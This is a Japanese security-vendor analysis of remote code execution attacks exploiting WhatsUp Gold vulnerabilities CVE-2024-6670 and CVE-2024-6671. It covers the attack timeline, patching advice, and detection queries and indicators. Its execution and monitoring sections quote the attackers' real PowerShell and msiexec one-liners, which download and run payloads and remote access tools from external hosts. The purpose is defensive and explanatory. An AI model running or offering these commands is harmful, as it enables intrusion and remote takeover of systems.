エクスプロイト&脆弱性
監視アプリケーション「WhatsUp Gold」の脆弱性を突くリモートコード実行攻撃とその対策
監視アプリケーション「WhatsUp Gold」の脆弱性「CVE-2024-6670」や「CVE-2024-6671」を突いたと考えられるリモートコード実行攻撃について、インシデントの分析結果をもとに解説します。
- トレンドマイクロでは2024年8月30日以降、WhatsUp Goldの「Active Monitor PowerShell Script」を突いたリモートコード実行のインシデントを確認しています。
- 本攻撃は、脆弱性「CVE-2024-6670」や「CVE-2024-6671」を不正利用したものと考えられます。当該脆弱性の修正パッチは、2024年8月16日の時点で公開されていました。しかし、不正利用の概念実証(PoC:Proof of Concept)が8月30日に公表されると、その直後に攻撃が活発化した可能性が示唆されています。
- 事象の経緯を踏まえると、修正パッチが公開されていても、一部の組織ではそれをすぐに適用できず、結果としてPoC公開直後のインシデントに繋がったと考えられます。
- 本攻撃の技術的な特徴として、NmPoller.exeの機能を不正利用してPowerShellスクリプトを起動し、さまざまなリモートアクセスツールをダウンロードしたことや、永続化を図ったことなどが挙げられます。
- 緩和策として、社内使用のサービスを適切なアクセス制御の下で管理することや、修正パッチを可能な限り早く適用すること、WhatsUp Gold環境下で不審なプロセス作成イベントを入念に監視することなどが挙げられます。そうすることで、同様のインシデントを防止できる可能性が高まります。
トレンドマイクロのマネージドXDR(MXDR:Managed Extended Detection and Response)チームは、Progress Software Corporation社が提供するネットワーク・ITインフラ監視アプリケーション「WhatsUp Gold」のWindows版に対するリモートコード実行攻撃(RCE:Remote Code Execution)を確認しました(図1)。2024年8月30日に始まったと考えられる本攻撃では、WhatsUp Goldの正規な機能「Active Monitor PowerShell Script」が不正利用されています。
RCEに繋がる脆弱性「CVE-2024-6670」と「CVE-2024-6671」については、8月16日にWhatsUp Goldのベンダーから開示され、同時に修正パッチも提供されました。開示内容に基づくと、「アプリケーションに設定されたユーザが1名のみの場合、攻撃者がSQLインジェクションの脆弱性を突き、未承認のまま対象ユーザの暗号化済みパスワードを窃取できる」とされています。しかし、両脆弱性とも高いCVSSスコア(9.8)を有し、RCEの可能性が示唆されます。
本脆弱性を発見した「Summoning Team(@SummoningTeam)」の「Sina Kheirkhah(@SinSinology)」は、8月にその概念実証(PoC:Proof of Concept)をブログ記事で公表し、任意の文字列を新規のパスワードとして上書きする仕組みを示しました。トレンドマイクロの調査でも、確かにこれと一致する現象が確認されています。
WhatsUp Goldのポーリング用プロセス「NmPoller.exe」は、Active Monitor PowerShell Scriptと呼ばれるスクリプトを正規の機能として提供しているように見受けられます(図2)。今回の攻撃者は、それを用いてリモートから任意のコードを実行しようとしました。
NmPoller.exeを介して実行された不正なコードは、概ね図3のような構造を持ちます。図中、上部の灰色枠は定型的なプレフィクスであるのに対し、下部の赤枠は、攻撃者が意図する不正な処理に相当します。赤枠の内容については、いくつかのバリエーションが確認されています。
実行
今回の攻撃では、NmPoller.exeを介してさまざまなPowerShellスクリプトが実行されました。具体的には、下記に示す個々の不正なコードに対し、図3の「プレフィクス」を付け足したものがスクリプトとして実行されました。
(New-Object System.Net.WebClient).DownloadFile('hxxps://webhook[.]site/b6ef7410-9ec8-44f7-8cdf-7890c1cf5837','c:\\programdata\\a.ps1'); powershell -exec bypass -file c:\\programdata\\a.ps1
msiexec /i hxxp://45.227.255[.]216:29742/ddQCz2CkW8/setup.msi /Qn
msiexec /i hxxps://fedko[.]org/wp-includes/ID3/setup.msi /Qn
iwr -uri hxxps://fedko[.]org/wp-includes/ID3/setup.msi -outfile c:\\windows\\temp\\MSsetup.msi ; msiexec /i c:\\windows\\temp\\MSsetup.msi /Qn
ファイル「a.ps1」の内容は、下記の通りです。
["(New-Object System.Net.WebClient).DownloadFile('hxxp://185.123.100[.]160/access/Remote Access-windows64-offline.exe?language=en&app=61021689825303726412222891579678345108&hostname=hxxp://185.123.100[.]160','C:\\programdata\\ftpd32.exe');start-process C:\\programdata\\ftpd32.exe;"]
永続化
今回の攻撃者は、永続化の手段として、PowerShellを用いてリモートアクセスツール(RAT:Remote Access Tool)のインストールを試みました。具体的には、msiexec.exeを介して下記4種のRATをインストールしようとしました(図4)。
- Atera Agent
- Radmin
- SimpleHelp Remote Access
- Splashtop Remote
「Atera Agent」と「Splashtop Remote」については、下記URLから取得される単一のMSIインストーラによって、同時にインストールされました。
hxxps://fedko[.]org/wp-includes/ID3/setup.msi
- 2024年8月16日:WhatsUp Goldのベンダーが最新の修正パッチとCVE番号を発表
- 2024年8月30日午後5時(UTC):脆弱性の発見者がPoCをGitHub上に公開
- 2024年8月30日午後10時(UTC):トレンドマイクロのMXDRチームが、WhatsUp Goldの正規なプロセスを突く最初のインシデントを確認
上記の時系列に基づくと、本脆弱性を突く攻撃が発生したのは、PoCの公開からわずか数時間後のこととなります。この日はちょうど金曜日にあたり、米国では、祝日も含む連休を控えていました。そのため、多くの企業や組織では、この修正パッチを迅速に適用できなかった可能性があります。しかし、最新の修正パッチはPoCより早く公開されていました。従って、PoCが開示されていないにしても、修正パッチに「深刻な脆弱性の対処を含む」などの情報が添えられているのであれば、それを早期に適用する計画を立てることで、被害を防げたものと考えられます。
セキュリティ企業「Censys」は、WhatsUp Goldに絡む別の脆弱性「CVE-2024-4885」を抱えた端末が、インターネット上に1,207台存在する旨を指摘しました。本脆弱性は6月に修正されたものであり、CVSSスコアは9.8(重大)となっています。こうした点が攻撃者からの注目を集め、アタックサーフェス(攻撃対象領域)の候補として認識されるきっかけを作った可能性があります。
緩和策
本攻撃の影響は、WhatsUp Goldのユーザ認証が侵害されたことを皮切りに発生したものです。当該製品をご利用中の方は、同様の影響を避けるため、下記の対策を実施することを推奨します。
- 最新の修正パッチを可能な限り早く適用する。当該製品のリリースノートやセキュリティ広報を含む公式ドキュメントが、ベンダーのWebサイト上で公開されている。
- 管理用コンソールやAPIエンドポイントを適切なアクセス制御の下で運用する。また、社内使用の製品をインターネットに公開しない。公開した場合、攻撃者に目をつけられ、分析される恐れがある。
- 強力なパスワードを使用する。仮に全修正パッチを適用済みで脆弱性の影響がないと考えられる場合でも、アクセス制御なしで弱いパスワード(admin:adminなど)を使用していれば、依然として影響を被る可能性がある。
監視
今回の攻撃は、下記プロセスを起点とする「プロセス作成イベント」の監視結果として検知されました。
{WhatsUp Goldのインストール先パス}\nmpoller.exe
具体例として、仮に以下の動作によって下記プロセスが作成された場合、攻撃の可能性が高いと考えられます。
C:\Program Files (x86)\Ipswitch\WhatsUp\nmpoller.exe」
プロセス:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -file c:\programdata\a.ps1
"C:\Windows\system32\msiexec.exe" /i hxxps://fedko[.]org/wp-includes/ID3/setup.msi /Qn
"C:\Windows\system32\msiexec.exe" /i hxxp://45.227.255[.]216:29742/ddQCz2CkW8/setup.msi /Qn
"C:\Windows\system32\msiexec.exe" /i c:\windows\temp\MSsetup.msi /Qn
アプリ「Vision One Search」でのクエリ・サンプル
- 検索方法:Endpoint Activity Data
- クエリ:"nmpoller.exe" AND eventSubId:(2 OR 101 OR 109 OR 901)
- 監視上の留意点:
- 検索結果の中には、製品の再起動や、日毎のログファイル作成イベントも含まれます。こうした環境内の定常的なイベントについては除外した上で、監視を行ってください。
- 検索結果に含まれるイベント件数の急増についても、有力な判断材料となります(図5)。
Vision Oneによって検知されたOAT(Observed Attack Technique:確認された攻撃技術)を、下記に示します。
- External MSI Package Installation via Msiexec (High):Msiexecを介した外部MSIパッケージのインストール(高)
- Suspicious RAT (SimpleHelp) Installation (Medium):RATインストール(SimpleHelp)の可能性(中)
- Suspicious RAT (AteraAgent) Installation (Medium):RATインストール(AteraAgent)の可能性(中)
- Suspicious RAT (Splashtop) File Creation (Medium):RATファイル作成(Splashtop)の可能性(中)
- Malicious Software - PUA.Win32.RAdmin.E (Medium):不正なソフトウェア - PUA.Win32.RAdmin.E(中)
NmPoller.exeは、その実装上、プロセス「powershell.exe」を別途起動することなくPowerShellスクリプトを実行できる点に注意する必要があります。アンチマルウェア・スキャンインターフェース(AMSI)によってPowerShellスクリプトを監視できる場合、WhatsUp GoldのActive Monitor PowerShell Scriptから実行されるスクリプトが全て想定通りのものであるかどうか、確認することを推奨します。また、監視の労力を減らすため、最新パッチが適用されるまでActive Monitor PowerShell Scriptを停止することも、一手と考えられます。
なお、脆弱性「CVE-2024-6670」はユーザアカウントを侵害するものと記載されているため、本攻撃が別のイベントとして検知される可能性もあります。こうした点からも、最新パッチが適用されるまではWhatsUp Goldへのアクセス制御を強化し、関連する全プロセスのイベントを入念に確認することが望まれます。
まとめ
修正パッチの管理は重要ですが、そこにはさまざまな難しさが存在します。今回の場合、修正パッチがリリースされてから数日後に不正利用のPoCが開示され、わずか数時間の間に当該脆弱性を突いたインシデントが発生しました。この点を踏まえ、もし対象の脆弱性が「重大」と位置づけられているのであれば、例えPoCが公表されていなくても、できるだけ早く修正パッチを適用することが望まれます。
今回と同様のインシデントを阻止する上では、修正パッチの管理だけではなく、追加の防御策を導入することが重要です。追加策の代表例として、アクセス制御や多要素認証(MFA:Multi-Factor Authentication)などが挙げられます。その実現に向けてセキュリティチーム側で実施できるベストプラクティスを、以下に示します。
- 社内使用のホストやサービスを外部に公開せず、適切なアクセス制御の下で管理する。
- 社内使用の管理コンソールやAPIエンドポイントをインターネット上に公開しない。公開した場合、攻撃者にスキャン対象として目をつけられる可能性がある。
- 全てのネットワーク・ログイン操作にMFAを適用する。
- アカウント侵害を防ぐため、ネットワークやWindows、Linux、Webアプリケーションにログインする全ユーザアカウント(業務用、個人用を問わず)に対し、MFAを要求する。
- 強力なパスワードを設定する。同じパスワードを決して使い回さない。
- パスキーの使用
- 可能であれば、パスワードの代わりにパスキーを使用することが望ましい。
- パスキー方式では、対象端末に格納された暗号化キーを用いてログインを行う。この暗号化キーは、端末のロック解除時と同様、生体認証などのローカル認証によって有効化される。パスワードなどの文字列やその入力に頼ったものではなくなるため、フィッシングへの耐性も高まる。
危機対応時に本当に必要なタスクに集中して取り組めるように、サイバー攻撃に対する準備体制や警戒態勢を常日頃から維持しておくことが極めて重要です。本稿の内容を踏まえてセキュリティチームの方は、平時における備えの一環として、インターネット上に意図せず公開しているホストやサービスがないかどうか、今一度確認することを推奨します。こうした取り組みは近年、アタックサーフェス・マネージメントの一部として認識されています。
企業や組織では、Trend Vision One™などの強力なセキュリティ技術を導入することも、有力な選択肢となります。本ソリューションは多層保護や挙動検知の機能を備え、不正なツールやサービスを早い段階でブロックし、損害を未然に防ぐ上で効果を発揮します。
侵入の痕跡(IoC:Indicators of Compromise)
侵入の痕跡(IoC)はこちらで確認してください。
参考記事:
Protecting Against RCE Attacks Abusing WhatsUp Gold Vulnerabilities
By: Hitomi Kimura, Maria Emreen Viray
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)